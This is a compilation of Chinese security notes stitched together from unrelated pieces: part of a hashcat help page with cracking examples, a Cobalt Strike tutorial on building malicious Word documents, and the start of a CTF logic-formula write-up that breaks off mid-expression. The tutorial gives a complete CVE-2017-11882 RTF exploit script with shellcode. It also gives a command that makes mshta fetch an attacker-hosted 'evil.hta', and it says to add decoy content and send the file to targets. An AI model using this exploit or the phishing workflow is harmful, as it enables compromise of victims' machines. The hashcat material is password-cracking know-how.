4521 | Redmine | Forums, CMS, E-Commerce, Frameworks
4522 | PunBB | Forums, CMS, E-Commerce, Frameworks
12001 | Atlassian (PBKDF2-HMAC-SHA1) | Forums, CMS, E-Commerce, Frameworks
12 | PostgreSQL | Database Server
131 | MSSQL (2000) | Database Server
132 | MSSQL (2005) | Database Server
1731 | MSSQL (2012, 2014) | Database Server
200 | MySQL323 | Database Server
300 | MySQL4.1/MySQL5 | Database Server
3100 | Oracle H: Type (Oracle 7+) | Database Server
112 | Oracle S: Type (Oracle 11+) | Database Server
12300 | Oracle T: Type (Oracle 12+) | Database Server
8000 | Sybase ASE | Database Server
141 | Episerver 6.x < .NET 4 | HTTP, SMTP, LDAP Server
1441 | Episerver 6.x >= .NET 4 | HTTP, SMTP, LDAP Server
1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR) | HTTP, SMTP, LDAP Server
12600 | ColdFusion 10+ | HTTP, SMTP, LDAP Server
1421 | hMailServer | HTTP, SMTP, LDAP Server
101 | nsldap, SHA-1(Base64), Netscape LDAP SHA | HTTP, SMTP, LDAP Server
111 | nsldaps, SSHA-1(Base64), Netscape LDAP SSHA | HTTP, SMTP, LDAP Server
1411 | SSHA-256(Base64), LDAP {SSHA256} | HTTP, SMTP, LDAP Server
1711 | SSHA-512(Base64), LDAP {SSHA512} | HTTP, SMTP, LDAP Server
15000 | FileZilla Server >= 0.9.55 | FTP Server
11500 | CRC32 | Checksums
3000 | LM | Operating Systems
1000 | NTLM | Operating Systems
1100 | Domain Cached Credentials (DCC), MS Cache | Operating Systems
2100 | Domain Cached Credentials 2 (DCC2), MS Cache 2 | Operating Systems
15300 | DPAPI masterkey file v1 and v2 | Operating Systems
12800 | MS-AzureSync PBKDF2-HMAC-SHA256 | Operating Systems
1500 | descrypt, DES (Unix), Traditional DES | Operating Systems
12400 | BSDi Crypt, Extended DES | Operating Systems
500 | md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) | Operating Systems
3200 | bcrypt $2*$, Blowfish (Unix) | Operating Systems
7400 | sha256crypt $5$, SHA256 (Unix) | Operating Systems
1800 | sha512crypt $6$, SHA512 (Unix) | Operating Systems
122 | OSX v10.4, OSX v10.5, OSX v10.6 | Operating Systems
1722 | OSX v10.7 | Operating Systems
7100 | OSX v10.8+ (PBKDF2-SHA512) | Operating Systems
6300 | AIX {smd5} | Operating Systems
6700 | AIX {ssha1} | Operating Systems
6400 | AIX {ssha256} | Operating Systems
6500 | AIX {ssha512} | Operating Systems
2400 | Cisco-PIX MD5 | Operating Systems
2410 | Cisco-ASA MD5 | Operating Systems
500 | Cisco-IOS $1$ (MD5) | Operating Systems
5700 | Cisco-IOS type 4 (SHA256) | Operating Systems
9200 | Cisco-IOS $8$ (PBKDF2-SHA256) | Operating Systems
9300 | Cisco-IOS $9$ (scrypt) | Operating Systems
22 | Juniper NetScreen/SSG (ScreenOS) | Operating Systems
501 | Juniper IVE | Operating Systems
15100 | Juniper/NetBSD sha1crypt | Operating Systems
7000 | FortiGate (FortiOS) | Operating Systems
5800 | Samsung Android Password/PIN | Operating Systems
13800 | Windows Phone 8+ PIN/password | Operating Systems
8100 | Citrix NetScaler | Operating Systems
8500 | RACF | Operating Systems
7200 | GRUB 2 | Operating Systems
9900 | Radmin2 | Operating Systems
125 | ArubaOS | Operating Systems
7700 | SAP CODVN B (BCODE) | Enterprise Application Software (EAS)
7800 | SAP CODVN F/G (PASSCODE) | Enterprise Application Software (EAS)
10300 | SAP CODVN H (PWDSALTEDHASH) iSSHA-1 | Enterprise Application Software (EAS)
8600 | Lotus Notes/Domino 5 | Enterprise Application Software (EAS)
8700 | Lotus Notes/Domino 6 | Enterprise Application Software (EAS)
9100 | Lotus Notes/Domino 8 | Enterprise Application Software (EAS)
133 | PeopleSoft | Enterprise Application Software (EAS)
13500 | PeopleSoft PS_TOKEN | Enterprise Application Software (EAS)
11600 | 7-Zip | Archives
12500 | RAR3-hp | Archives
13000 | RAR5 | Archives
13200 | AxCrypt | Archives
13300 | AxCrypt in-memory SHA1 | Archives
13600 | WinZip | Archives
14700 | iTunes backup < 10.0 | Backup
14800 | iTunes backup >= 10.0 | Backup
62XY | TrueCrypt | Full-Disk Encryption (FDE)
X | 1 = PBKDF2-HMAC-RIPEMD160 | Full-Disk Encryption (FDE)
X | 2 = PBKDF2-HMAC-SHA512 | Full-Disk Encryption (FDE)
X | 3 = PBKDF2-HMAC-Whirlpool | Full-Disk Encryption (FDE)
X | 4 = PBKDF2-HMAC-RIPEMD160 + boot-mode | Full-Disk Encryption (FDE)
Y | 1 = XTS 512 bit pure AES | Full-Disk Encryption (FDE)
Y | 1 = XTS 512 bit pure Serpent | Full-Disk Encryption (FDE)
Y | 1 = XTS 512 bit pure Twofish | Full-Disk Encryption (FDE)
Y | 2 = XTS 1024 bit pure AES | Full-Disk Encryption (FDE)
Y | 2 = XTS 1024 bit pure Serpent | Full-Disk Encryption (FDE)
Y | 2 = XTS 1024 bit pure Twofish | Full-Disk Encryption (FDE)
Y | 2 = XTS 1024 bit cascaded AES-Twofish | Full-Disk Encryption (FDE)
Y | 2 = XTS 1024 bit cascaded Serpent-AES | Full-Disk Encryption (FDE)
Y | 2 = XTS 1024 bit cascaded Twofish-Serpent | Full-Disk Encryption (FDE)
Y | 3 = XTS 1536 bit all | Full-Disk Encryption (FDE)
8800 | Android FDE <= 4.3 | Full-Disk Encryption (FDE)
12900 | Android FDE (Samsung DEK) | Full-Disk Encryption (FDE)
12200 | eCryptfs | Full-Disk Encryption (FDE)
137XY | VeraCrypt | Full-Disk Encryption (FDE)
X | 1 = PBKDF2-HMAC-RIPEMD160 | Full-Disk Encryption (FDE)
X | 2 = PBKDF2-HMAC-SHA512 | Full-Disk Encryption (FDE)
X | 3 = PBKDF2-HMAC-Whirlpool | Full-Disk Encryption (FDE)
X | 4 = PBKDF2-HMAC-RIPEMD160 + boot-mode | Full-Disk Encryption (FDE)
X | 5 = PBKDF2-HMAC-SHA256 | Full-Disk Encryption (FDE)
X | 6 = PBKDF2-HMAC-SHA256 + boot-mode | Full-Disk Encryption (FDE)
Y | 1 = XTS 512 bit pure AES | Full-Disk Encryption (FDE)
Y | 1 = XTS 512 bit pure Serpent | Full-Disk Encryption (FDE)
Y | 1 = XTS 512 bit pure Twofish | Full-Disk Encryption (FDE)
Y | 2 = XTS 1024 bit pure AES | Full-Disk Encryption (FDE)
Y | 2 = XTS 1024 bit pure Serpent | Full-Disk Encryption (FDE)
Y | 2 = XTS 1024 bit pure Twofish | Full-Disk Encryption (FDE)
Y | 2 = XTS 1024 bit cascaded AES-Twofish | Full-Disk Encryption (FDE)
Y | 2 = XTS 1024 bit cascaded Serpent-AES | Full-Disk Encryption (FDE)
Y | 2 = XTS 1024 bit cascaded Twofish-Serpent | Full-Disk Encryption (FDE)
Y | 3 = XTS 1536 bit all | Full-Disk Encryption (FDE)
14600 | LUKS | Full-Disk Encryption (FDE)
9700 | MS Office <= 2003 $0/$1, MD5 + RC4 | Documents
9710 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #1 | Documents
9720 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #2 | Documents
9800 | MS Office <= 2003 $3/$4, SHA1 + RC4 | Documents
9810 | MS Office <= 2003 $3, SHA1 + RC4, collider #1 | Documents
9820 | MS Office <= 2003 $3, SHA1 + RC4, collider #2 | Documents
9400 | MS Office 2007 | Documents
9500 | MS Office 2010 | Documents
9600 | MS Office 2013 | Documents
10400 | PDF 1.1 - 1.3 (Acrobat 2 - 4) | Documents
10410 | PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1 | Documents
10420 | PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2 | Documents
10500 | PDF 1.4 - 1.6 (Acrobat 5 - 8) | Documents
10600 | PDF 1.7 Level 3 (Acrobat 9) | Documents
10700 | PDF 1.7 Level 8 (Acrobat 10 - 11) | Documents
9000 | Password Safe v2 | Password Managers
5200 | Password Safe v3 | Password Managers
6800 | LastPass + LastPass sniffed | Password Managers
6600 | 1Password, agilekeychain | Password Managers
8200 | 1Password, cloudkeychain | Password Managers
11300 | Bitcoin/Litecoin wallet.dat | Password Managers
12700 | Blockchain, My Wallet | Password Managers
15200 | Blockchain, My Wallet, V2 | Password Managers
13400 | KeePass 1 (AES/Twofish) and KeePass 2 (AES) | Password Managers
15500 | JKS Java Key Store Private Keys (SHA1) | Password Managers
15600 | Ethereum Wallet, PBKDF2-HMAC-SHA256 | Password Managers
15700 | Ethereum Wallet, SCRYPT | Password Managers
99999 | Plaintext | Plaintext
- [ Outfile Formats ] -
# | Format
===+========
1 | hash[:salt]
2 | plain
3 | hash[:salt]:plain
4 | hex_plain
5 | hash[:salt]:hex_plain
6 | plain:hex_plain
7 | hash[:salt]:plain:hex_plain
8 | crackpos
9 | hash[:salt]:crack_pos
10 | plain:crack_pos
11 | hash[:salt]:plain:crack_pos
12 | hex_plain:crack_pos
13 | hash[:salt]:hex_plain:crack_pos
14 | plain:hex_plain:crack_pos
15 | hash[:salt]:plain:hex_plain:crack_pos
- [ Rule Debugging Modes ] -
# | Format
===+========
1 | Finding-Rule
2 | Original-Word
3 | Original-Word:Finding-Rule
4 | Original-Word:Finding-Rule:Processed-Word
- [ Attack Modes ] -
# | Mode
===+======
0 | Straight
1 | Combination
3 | Brute-force
6 | Hybrid Wordlist + Mask
7 | Hybrid Mask + Wordlist
- [ Built-in Charsets ] -
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff
- [ OpenCL Device Types ] -
# | Device Type
===+=============
1 | CPU
2 | GPU
3 | FPGA, DSP, Co-Processor
- [ Workload Profiles ] -
# | Performance | Runtime | Power Consumption | Desktop Impact
===+=============+=========+===================+=================
1 | Low | 2 ms | Low | Minimal
2 | Default | 12 ms | Economic | Noticeable
3 | High | 96 ms | High | Unresponsive
4 | Nightmare | 480 ms | Insane | Headless
- [ Basic Examples ] -
Attack- | Hash- |
Mode | Type | Example command
==================+=======+==================================================================
Wordlist | $P$ | hashcat -a 0 -m 400 example400.hash example.dict
Wordlist + Rules | MD5 | hashcat -a 0 -m 0 example0.hash example.dict -r rules/best64.rule
Brute-Force | MD5 | hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a
Combinator | MD5 | hashcat -a 1 -m 0 example0.hash example.dict example.dict
If you still have no idea what just happened, try the following pages:
* https://hashcat.net/wiki/#howtos_videos_papers_articles_etc_in_the_wild
* https://hashcat.net/faq/
```
### hashcat用法示例
对支持的哈希类型进行基准测试以确定破解速度。
```
root@kali:~# hashcat -b
hashcat (pull/1273/head) starting in benchmark mode...
OpenCL Platform #1: Mesa, skipped or no OpenCL compatible devices found.
OpenCL Platform #2: Intel(R) Corporation
========================================
* Device #1: Intel(R) Core(TM) i7-4500U CPU @ 1.80GHz, 3992/15970 MB allocatable, 4MCU
Hashtype: MD4
Speed.Dev.#1.....: 293.0 MH/s (14.21ms)
Hashtype: MD5
Speed.Dev.#1.....: 162.7 MH/s (25.73ms)
...
```
使用md5crypt模式(*-m 500*),用提供的字典(*/usr/share/wordlists/sqlmap.txt*)破解示例哈希(*/usr/share/doc/hashcat-data/examples/example500.hash*)。
```
root@kali:~# hashcat -m 500 /usr/share/doc/hashcat-data/examples/example500.hash /usr/share/wordlists/sqlmap.txt
hashcat (pull/1273/head) starting...
OpenCL Platform #1: Mesa, skipped or no OpenCL compatible devices found.
OpenCL Platform #2: Intel(R) Corporation
========================================
* Device #1: Intel(R) Core(TM) i7-4500U CPU @ 1.80GHz, 3992/15970 MB allocatable, 4MCU
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Watchdog: Temperature retain trigger disabled.
* Device #1: build_opts '-I /usr/share/hashcat/OpenCL -D VENDOR_ID=8 -D CUDA_ARCH=0 -D VECT_SIZE=8 -D DEVICE_TYPE=2 -D DGST_R0=0 -D DGST_R1=1 -D DGST_R2=2 -D DGST_R3=3 -D DGST_ELEM=4 -D KERN_TYPE=500 -D _unroll -cl-std=CL1.2'
Dictionary cache built:
* Filename..: /usr/share/wordlists/sqlmap.txt
* Passwords.: 1202867
* Bytes.....: 11004625
* Keyspace..: 1202867
* Runtime...: 1 sec
- Device #1: autotuned kernel-accel to 160
- Device #1: autotuned kernel-loops to 200
[s]tatus [p]ause [r]esume [b]ypass [c]heckpoint [q]uit => [s]tatus [p]ause [r]esume [b]ypass [c]heckpoint [q]uit => s
Session..........: hashcat
Status...........: Running
Hash.Type........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$uOM6WNc4$r3ZGeSB11q6UUSILqek3J1
Time.Started.....: Thu Oct 5 14:14:17 2017 (40 secs)
Time.Estimated...: Thu Oct 5 14:15:47 2017 (50 secs)
Guess.Base.......: File (/usr/share/wordlists/sqlmap.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....: 13205 H/s (9.58ms)
Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.........: 531456/1202867 (44.18%)
Rejected.........: 256/531456 (0.05%)
Restore.Point....: 531456/1202867 (44.18%)
Candidates.#1....: e545o9rf7 -> e912013004
HWMon.Dev.#1.....: N/A
[s]tatus [p]ause [r]esume [b]ypass [c]heckpoint [q]uit =>
```
原文链接:https://tools.kali.org/password-attacks/hashcat
译者:[LaoK996](https://github.com/LaoK996)
校对:
|
sec-knowleage
|
# 0x00 简介
宏是微软公司为其OFFICE软件包设计的一个特殊功能,它利用简单的语法,把常用的动作写成宏。宏病毒传播极快,可以多平台交叉感染,在鱼叉邮件投递内嵌恶意宏的Word文档是APT活动中经常用到的手法。
# 0x01 MS Office Macro
>使用 Attack>Packages>MS Office Macro

其实这里已经说的很清楚了,不过我们还是演示一下如何操作
这里使用的环境是office2013,新建一个word文档 然后新建一个宏



这里把Cobalt Strike生成的宏代码 放入 project 下面的工程里面就可以了

然后保存为启用宏的word,当然你可以在word里面加一些迷惑性的内容。
当目标点击后就上线了
# 0x02 CVE-2017-11882
光用他自带的感觉还是太枯燥,我们用前面学到的hta和CVE-2017-11882弄一个不需要宏的word
1.首先配置一个powershell的 hta 再用host file把他架设起来
2.下载CVE-2017-11882 利用脚本 这里我直接用Ridter大佬写的脚本
```
# Original poc :https://github.com/embedi/CVE-2017-11882
# This version accepts a command with 109 bytes long in maximum.
# Sorry I don't know how to read the struct in objdata, hence I cannot modify the length parameter to aquire a arbitrary length code execution.
# But that's enough in exploitation. We can use regsvr32 to load sct file remotely.:)
import argparse
import sys
from struct import pack
head=r'''{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}
{\*\generator Riched20 6.3.9600}\viewkind4\uc1
\pard\sa200\sl276\slmult1\f0\fs22\lang9'''
objclass=r'''{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata 01050000020000000b0000004571756174696f6e2e33000000000000000000000c0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff04000000fefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff0200000002ce020000000000c0000000000000460000000000000000000000008020cea5613cd30103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000201ffffffffffffffffffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000001400000000000000010043006f006d0070004f0062006a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000001000000660000000000000003004f0062006a0049006e0066006f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000201ffffffff04000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000030000000600000000000000feffffff02000000fefffffffeffffff050000000600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff010000020800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100feff030a0000ffffffff02ce020000000000c000000000000046170000004d6963726f736f6674204571756174696f6e20332e30000c0000004453204571756174696f6e000b0000004571756174696f6e2e3300f439b271000000000000000000000000000000000000000000000000000000000000000000000000000000000300040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'''
tail=r'''
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004500710075006100740069006F006E0020004E00610074006900760065000000000000000000000000000000000000000000000000000000000000000000000020000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000004000000C5000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001050000050000000D0000004D45544146494C4550494354003421000035FEFFFF9201000008003421CB010000010009000003C500000002001C00000000000500000009020000000005000000020101000000050000000102FFFFFF00050000002E0118000000050000000B0200000000050000000C02A001201E1200000026060F001A00FFFFFFFF000010000000C0FFFFFFC6FFFFFFE01D0000660100000B00000026060F000C004D61746854797065000020001C000000FB0280FE0000000000009001000000000402001054696D6573204E657720526F6D616E00FEFFFFFF6B2C0A0700000A0000000000040000002D0100000C000000320A600190160A000000313131313131313131310C000000320A6001100F0A000000313131313131313131310C000000320A600190070A000000313131313131313131310C000000320A600110000A000000313131313131313131310A00000026060F000A00FFFFFFFF0100000000001C000000FB021000070000000000BC02000000000102022253797374656D000048008A0100000A000600000048008A01FFFFFFFF7CEF1800040000002D01010004000000F0010000030000000000
}{\result {\rtlch\fcs1 \af0 \ltrch\fcs0 \dn8\insrsid95542\charrsid95542 {\pict{\*\picprop\shplid1025{\sp{\sn shapeType}{\sv 75}}{\sp{\sn fFlipH}{\sv 0}}
{\sp{\sn fFlipV}{\sv 0}}{\sp{\sn fLockAspectRatio}{\sv 1}}{\sp{\sn pictureGray}{\sv 0}}{\sp{\sn pictureBiLevel}{\sv 0}}{\sp{\sn fRecolorFillAsPicture}{\sv 0}}{\sp{\sn fUseShapeAnchor}{\sv 0}}{\sp{\sn fFilled}{\sv 0}}{\sp{\sn fHitTestFill}{\sv 1}}
{\sp{\sn fillShape}{\sv 1}}{\sp{\sn fillUseRect}{\sv 0}}{\sp{\sn fNoFillHitTest}{\sv 0}}{\sp{\sn fLine}{\sv 0}}{\sp{\sn fPreferRelativeResize}{\sv 1}}{\sp{\sn fReallyHidden}{\sv 0}}
{\sp{\sn fScriptAnchor}{\sv 0}}{\sp{\sn fFakeMaster}{\sv 0}}{\sp{\sn fCameFromImgDummy}{\sv 0}}{\sp{\sn fLayoutInCell}{\sv 1}}}\picscalex100\picscaley100\piccropl0\piccropr0\piccropt0\piccropb0
\picw353\pich600\picwgoal200\pichgoal340\wmetafile8\bliptag1846300541\blipupi2307{\*\blipuid 6e0c4f7df03da08a8c6c623556e3c652}0100090000035100000000001200000000000500000009020000000005000000020101000000050000000102ffffff00050000002e0118000000050000000b02
00000000050000000c02200240011200000026060f001a00ffffffff000010000000c0ffffffaaffffff00010000ca0100000b00000026060f000c004d61746854797065000040000a00000026060f000a00ffffffff010000000000030000000000}}}}\par}
'''
#0: b8 44 eb 71 12 mov eax,0x1271eb44
#5: ba 78 56 34 12 mov edx,0x12345678
#a: 31 d0 xor eax,edx
#c: 8b 08 mov ecx,DWORD PTR [eax]
#e: 8b 09 mov ecx,DWORD PTR [ecx]
#10: 8b 09 mov ecx,DWORD PTR [ecx]
#12: 66 83 c1 3c add cx,0x3c
#16: 31 db xor ebx,ebx
#18: 53 push ebx
#19: 51 push ecx
#1a: be 64 3e 72 12 mov esi,0x12723e64
#1f: 31 d6 xor esi,edx
#21: ff 16 call DWORD PTR [esi] // call WinExec
#23: 53 push ebx
#24: 66 83 ee 4c sub si,0x4c
#28: ff 10 call DWORD PTR [eax] // call ExitProcess
stage1="\xB8\x44\xEB\x71\x12\xBA\x78\x56\x34\x12\x31\xD0\x8B\x08\x8B\x09\x8B\x09\x66\x83\xC1\x3C\x31\xDB\x53\x51\xBE\x64\x3E\x72\x12\x31\xD6\xFF\x16\x53\x66\x83\xEE\x4C\xFF\x10"
# pads with nop
stage1=stage1.ljust(44,'\x90')
def genrtf(cmd,r_head):
if len(cmd) > 109:
print "[!] Primitive command must be shorter than 109 bytes"
sys.exit(0)
payload='\x1c\x00\x00\x00\x02\x00\x9e\xc4\xa9\x00\x00\x00\x00\x00\x00\x00\xc8\xa7\\\x00\xc4\xee[\x00\x00\x00\x00\x00\x03\x01\x01\x03\n\n\x01\x08ZZ'
payload+=stage1
payload+=pack('<I',0x00402114) # ret
payload+='\x00'*2
payload+=cmd
payload=payload.ljust(197,'\x00')
return r_head+objclass+payload.encode('hex')+tail
def getrheader(file):
input_file = open(file,"r").read()
r_header = input_file.split("{\*\datastore")[0]
return r_header
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="PoC for CVE-2017-11882")
parser.add_argument("-c", "--cmd", help="Command run in target system", required=True)
parser.add_argument('-o', "--output", help="Output exploit rtf", required=True)
parser.add_argument("-i", "--input", help="Input normal rtf.", required=False)
args = parser.parse_args()
if args.input != None:
r_header = getrheader(args.input)
else:
r_header = head
with open(args.output,'wb') as f:
f.write(genrtf(args.cmd,r_header))
f.close()
print "[*] Done ! output file --> " + args.output
```
然后执行
`python exp.py -c "mshta http://192.168.130.130:804/download/evil.hta" -o tes1t.doc`
发送给目标

可以看到web log的日志 下载hta后 我们的beacon也成功上线了
# 0x03 文末
Cobalt Strike 自带的感觉用处不大,大家可以配上新出来的office类的oday来利用 (用时一小时)
### 本文如有错误,请及时提醒,以免误导他人
|
sec-knowleage
|
# Programming 03
Very fun challenge in which we test if a logical formula is a [tautology](https://en.wikipedia.org/wiki/Tautology_(logic)) or not.
The server gives us two expressions and we must say if they are logically equal. `AND` function is denoted as `*`, `OR` function as `+` and `NOT` as `~`.
First tasks are very easy and may be solved even by hand:
```
~(A*A)
((~A)+(A))
```
Later more variables appear and things are getting more complicated...
```
~(((~(~((~(A+~E)*~C)+(~C+H))*~((C+~E)+~(F*~H)))+(~((A+G)+~(H*(I+~C)))+~(E+G)))+((~(H*F)*((D*~I)*~A))+((~(D+E)*((G*G)*(A+~B)))+((~G+E)*I))))*((~(~(E*(~D*A))*(((~H*~C)+~(B+F))+(~H*(F+C))))+~((~(D*(~A*B))+(~(G*A)+~(C*A)))+(~((G+I)*F)+(~F*~D))))+((~((B*~(D+A))+((G+I)*(F+~F)))*~((E*A)+~(C+C)))*~((E*(C+D))+(((E*B)+~G)+(A+D))))))
((~A*~B*~C*~D*~E*~F*~G*~H*~I)+(~A*~B*~C*~D*~E*~F*~G*~H*I)+(~A*~B*~C*~D*~E*~F*~G*H*~I)+(~A*~B*~C*~D*~E*~F*~G*H*I)+(~A*~B*~C*~D*~E*~F*G*~H*~I)+(~A*~B*~C*~D*~E*~F*G*~H*I)+(~A*~B*~C*~D*~E*~F*G*H*~I)+(~A*~B*~C*~D*~E*~F*G*H*I)+(~A*~B*~C*~D*~E*F*~G*~H*~I)+(~A*~B*~C*~D*~E*F*~G*~H*I)+(~A*~B*~C*~D*~E*F*G*~H*~I)+(~A*~B*~C*~D*~E*F*G*~H*I)+(~A*~B*~C*~D*E*~F*~G*~H*~I)+(~A*~B*~C*~D*E*~F*~G*~H*I)+(~A*~B*~C*~D*E*~F*~G*H*~I)+(~A*~B*~C*~D*E*~F*~G*H*I)+(~A*~B*~C*~D*E*~F*G*~H*~I)+(~A*~B*~C*~D*E*~F*G*~H*I)+(~A*~B*~C*~D*E*~F*G*H*~I)+(~A*~B*~C*~D*E*~F*G*H*I)+(~A*~B*~C*~D*E*F*~G*~H*~I)+(~A*~B*~C*~D*E*F*~G*~H*I)+(~A*~B*~C*~D*E*F*G*~H*~I)+(~A*~B*~C*~D*E*F*G*~H*I)+(~A*~B*~C*D*~E*~F*~G*~H*~I)+(~A*~B*~C*D*~E*~F*~G*~H*I)+(~A*~B*~C*D*~E*~F*~G*H*~I)+(~A*~B*~C*D*~E*~F*~G*H*I)+(~A*~B*~C*D*~E*~F*G*~H*~I)+(~A*~B*~C*D*~E*~F*G*~H*I)+(~A*~B*~C*D*~E*~F*G*H*~I)+(~A*~B*~C*D*~E*~F*G*H*I)+(~A*~B*~C*D*~E*F*~G*~H*~I)+(~A*~B*~C*D*~E*F*~G*~H*I)+(~A*~B*~C*D*~E*F*G*~H*~I)+(~A*~B*~C*D*~E*F*G*~H*I)+(~A*~B*~C*D*E*~F*~G*~H*~I)+(~A*~B*~C*D*E*~F*~G*~H*I)+(~A*~B*~C*D*E*~F*~G*H*~I)+(~A*~B*~C*D*E*~F*~G*H*I)+(~A*~B*~C*D*E*~F*G*~H*~I)+(~A*~B*~C*D*E*~F*G*~H*I)+(~A*~B*~C*D*E*~F*G*H*~I)+(~A*~B*~C*D*E*~F*G*H*I)+(~A*~B*~C*D*E*F*~G*~H*~I)+(~A*~B*~C*D*E*F*~G*~H*I)+(~A*~B*~C*D*E*F*G*~H*~I)+(~A*~B*~C*D*E*F*G*~H*I)+(~A*~B*C*~D*~E*~F*~G*~H*~I)+(~A*~B*C*~D*~E*~F*~G*~H*I)+(~A*~B*C*~D*~E*~F*~G*H*~I)+(~A*~B*C*~D*~E*~F*~G*H*I)+(~A*~B*C*~D*~E*~F*G*~H*~I)+(~A*~B*C*~D*~E*~F*G*~H*I)+(~A*~B*C*~D*~E*~F*G*H*~I)+(~A*~B*C*~D*~E*~F*G*H*I)+(~A*~B*C*~D*~E*F*~G*~H*~I)+(~A*~B*C*~D*~E*F*~G*~H*I)+(~A*~B*C*~D*~E*F*G*~H*~I)+(~A*~B*C*~D*~E*F*G*~H*I)+(~A*~B*C*~D*E*~F*~G*~H*~I)+(~A*~B*C*~D*E*~F*~G*~H*I)+(~A*~B*C*~D*E*~F*~G*H*~I)+(~A*~B*C*~D*E*~F*~G*H*I)+(~A*~B*C*~D*E*~F*G*~H*~I)+(~A*~B*C*~D*E*~F*G*~H*I)+(~A*~